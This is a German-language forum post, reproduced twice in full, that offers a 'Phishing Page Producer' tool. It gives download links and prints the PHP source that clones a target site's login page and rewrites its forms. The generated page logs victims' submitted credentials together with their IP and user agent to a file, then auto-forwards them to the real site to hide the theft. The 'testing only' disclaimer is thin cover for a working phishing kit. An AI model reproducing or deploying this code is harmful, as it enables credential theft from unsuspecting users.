Ken
03.04.2010, 11:44
Hey,
ich hoffe, dass mittlerweile so ziemlich alle Macken und Fehler ausgemerzt sind und das Programm recht fehlerfrei läuft. Probiert's aus.
Zum Download
@filebin.ca (http://filebin.ca/thwtnm/ppp-gui-111.exe)
@multiupload.com (http://www.multiupload.com/L14XUFHRR6)
Zum Programm
Es handelt sich um keine große Sache: Eine Anwendung, getauft "Phishing Page Producer" (kurz: "PPP"), bei der man den Link zu einer Seite angibt und eben ein entsprechendes PHP-Skript 'rausbekommt. Sehr einfach gehalten, aber durchaus effektiv, glaube ich.
http://s10.directupload.net/images/100401/rumv8cd7.png
· · · · · · · · · · · · · · ·
Spoiler: Für den typischen Konsumenten weniger interessante Informationen
Zur Technik
Das Teil ist in PHP geschrieben, so was funktioniert mit bamcompile (http://www.bambalam.se/bamcompile/) und der WinBinder-Erweiterung (http://winbinder.org/).
Zur Nutzung
Keine dummen, unberechtigten Fragen stellen; Weitergabe ausdrücklich erlaubt; nichts Illegales damit machen; nur für Testzwecke benutzen; niemand anderem Logindaten oder andere persönliche Informationen stehlen (insbesondere den eigenen Freunden nicht!!); nicht wegen niederen Beweggründen das Programm missbrauchen - wenn also Mist damit gebaut wird, nicht mich dafür verantwortlich machen, das ist nie meine Intention gewesen.
Hinweis
Beim ersten Start kopiert das Programm curl (mit SSL kompiliert) zusammen mit einigen Programmbibliotheken in Euren system32-Ordner.
Auszug aus dem Quellcode
Hier der eigentlich interessante Teil aus dem Programm-Quellcode, nämlich jener, wo das Phishingseiten-Skript generiert wird:
<?php
[...]
// Werte auslesen
$url = getval(url);
$logfile = getval(logfile);
$name = getval(name);
// Fehlerbehandlung
if(!preg_match("|https?://[a-zA-Z0-9\.\-_+äöü]*\.[a-z]{2,4}/?.*|", $url))
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid url.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $logfile) || $logfile == "" || $logfile[0] == ".")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid logfile filename.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $name) || strtolower(end(explode(".", $name))) != "php")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid output filename.");
break;
}
// Seite auslesen und Formulare bearbeiten
display(status, "Loading and analysing ".$url."...");
$page = str_replace("<head>", "<head>\n<base href=\"".$url."\" />", _exec("curl -k \"$url\""));
preg_match_all("|<form.*</form>|Usi", $page, $forms);
foreach($forms[0] as $val)
$page = str_replace($val, preg_replace('|<form([^>]*)action=[\'"]?([^\'^"^\s]*)[\'"\s]?([^>]*)>?|', '<form$1action="{{ppp-self}}"$3><input type="hidden" name="ppp-action" value="$2" />', $val), $page);
// Generiere PHP-Skript
$script = '<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken\'s Phishing Page Producer
* generated on '.date("d.m.Y - H:i").' for '.$url.'
*/
$self = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$logfile = "'.$logfile.'"; // file where logs shall be saved to
if(isset($_REQUEST["ppp-action"]))
{
$add = date("d.m.Y - H:i")."\nIP: ".$_SERVER["REMOTE_ADDR"]."\nHost: ".@gethostbyaddr($_SERVER["REMOTE_ADDR"])."\nUA: ".$_SERVER["HTTP_USER_AGENT"]."\nPOSTDATA:\n".print_r($_REQUEST, 1)."\n\n\n";
$h = fopen($logfile, "a");
fwrite($h, $add);
fclose($h);
isset($_POST["ppp-action"]) ? $method = "post" : $method = "get";
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<base href="'.$url.'" />
<noscript><meta http-equiv="refresh" content="0; url='.$url.'" /></noscript>
</head>
<body onload="document.getElementsByTagName(\'form\')[0].submit();">
<?php
echo \'<form action="\'.$_REQUEST["ppp-action"].\'" method="\'.$method.\'">\';
unset($_REQUEST["ppp-action"]);
if(isset($_REQUEST["submit"]))
unset($_REQUEST["submit"]);
foreach($_REQUEST as $key => $val)
echo \'<input type="hidden" value="\'.$val.\'" name="\'.$key.\'" />\';
echo \'</form>\'."\n";
?>
</body>
</html>
<?php
exit;
}
$page = \''.str_replace(array("'", "{{ppp-self}}"), array("\'", '\'.$self.\''), $page).'\';
echo $page;
?>';
// Fertig, abspeichern
display(status, "Done. File was saved to ".$name."...");
$h = fopen($name, "w");
fwrite($h, $script);
fclose($h);
wb_play_sound(WBC_WARNING);
wb_wait($mainwin, 150);
wb_play_sound(WBC_WARNING);
[...]
?>
ich hoffe, dass mittlerweile so ziemlich alle Macken und Fehler ausgemerzt sind und das Programm recht fehlerfrei läuft. Probiert's aus.
Zum Download
@filebin.ca (http://filebin.ca/thwtnm/ppp-gui-111.exe)
@multiupload.com (http://www.multiupload.com/L14XUFHRR6)
Zum Programm
Es handelt sich um keine große Sache: Eine Anwendung, getauft "Phishing Page Producer" (kurz: "PPP"), bei der man den Link zu einer Seite angibt und eben ein entsprechendes PHP-Skript 'rausbekommt. Sehr einfach gehalten, aber durchaus effektiv, glaube ich.
http://s10.directupload.net/images/100401/rumv8cd7.png
· · · · · · · · · · · · · · ·
Spoiler: Für den typischen Konsumenten weniger interessante Informationen
Zur Technik
Das Teil ist in PHP geschrieben, so was funktioniert mit bamcompile (http://www.bambalam.se/bamcompile/) und der WinBinder-Erweiterung (http://winbinder.org/).
Zur Nutzung
Keine dummen, unberechtigten Fragen stellen; Weitergabe ausdrücklich erlaubt; nichts Illegales damit machen; nur für Testzwecke benutzen; niemand anderem Logindaten oder andere persönliche Informationen stehlen (insbesondere den eigenen Freunden nicht!!); nicht wegen niederen Beweggründen das Programm missbrauchen - wenn also Mist damit gebaut wird, nicht mich dafür verantwortlich machen, das ist nie meine Intention gewesen.
Hinweis
Beim ersten Start kopiert das Programm curl (mit SSL kompiliert) zusammen mit einigen Programmbibliotheken in Euren system32-Ordner.
Auszug aus dem Quellcode
Hier der eigentlich interessante Teil aus dem Programm-Quellcode, nämlich jener, wo das Phishingseiten-Skript generiert wird:
<?php
[...]
// Werte auslesen
$url = getval(url);
$logfile = getval(logfile);
$name = getval(name);
// Fehlerbehandlung
if(!preg_match("|https?://[a-zA-Z0-9\.\-_+äöü]*\.[a-z]{2,4}/?.*|", $url))
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid url.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $logfile) || $logfile == "" || $logfile[0] == ".")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid logfile filename.");
break;
}
elseif(preg_match("|[/\\:*?\"<>\|]|", $name) || strtolower(end(explode(".", $name))) != "php")
{
wb_play_sound(WBC_STOP);
display(status, "Error: No valid output filename.");
break;
}
// Seite auslesen und Formulare bearbeiten
display(status, "Loading and analysing ".$url."...");
$page = str_replace("<head>", "<head>\n<base href=\"".$url."\" />", _exec("curl -k \"$url\""));
preg_match_all("|<form.*</form>|Usi", $page, $forms);
foreach($forms[0] as $val)
$page = str_replace($val, preg_replace('|<form([^>]*)action=[\'"]?([^\'^"^\s]*)[\'"\s]?([^>]*)>?|', '<form$1action="{{ppp-self}}"$3><input type="hidden" name="ppp-action" value="$2" />', $val), $page);
// Generiere PHP-Skript
$script = '<?php
/* ___ ___ ___
* / _ \/ _ \/ _ \
* / /_)/ /_)/ /_)/
* / ___/ ___/ ___/
* \/ \/ \/
* Ken\'s Phishing Page Producer
* generated on '.date("d.m.Y - H:i").' for '.$url.'
*/
$self = "http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$logfile = "'.$logfile.'"; // file where logs shall be saved to
if(isset($_REQUEST["ppp-action"]))
{
$add = date("d.m.Y - H:i")."\nIP: ".$_SERVER["REMOTE_ADDR"]."\nHost: ".@gethostbyaddr($_SERVER["REMOTE_ADDR"])."\nUA: ".$_SERVER["HTTP_USER_AGENT"]."\nPOSTDATA:\n".print_r($_REQUEST, 1)."\n\n\n";
$h = fopen($logfile, "a");
fwrite($h, $add);
fclose($h);
isset($_POST["ppp-action"]) ? $method = "post" : $method = "get";
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<base href="'.$url.'" />
<noscript><meta http-equiv="refresh" content="0; url='.$url.'" /></noscript>
</head>
<body onload="document.getElementsByTagName(\'form\')[0].submit();">
<?php
echo \'<form action="\'.$_REQUEST["ppp-action"].\'" method="\'.$method.\'">\';
unset($_REQUEST["ppp-action"]);
if(isset($_REQUEST["submit"]))
unset($_REQUEST["submit"]);
foreach($_REQUEST as $key => $val)
echo \'<input type="hidden" value="\'.$val.\'" name="\'.$key.\'" />\';
echo \'</form>\'."\n";
?>
</body>
</html>
<?php
exit;
}
$page = \''.str_replace(array("'", "{{ppp-self}}"), array("\'", '\'.$self.\''), $page).'\';
echo $page;
?>';
// Fertig, abspeichern
display(status, "Done. File was saved to ".$name."...");
$h = fopen($name, "w");
fwrite($h, $script);
fclose($h);
wb_play_sound(WBC_WARNING);
wb_wait($mainwin, 150);
wb_play_sound(WBC_WARNING);
[...]
?>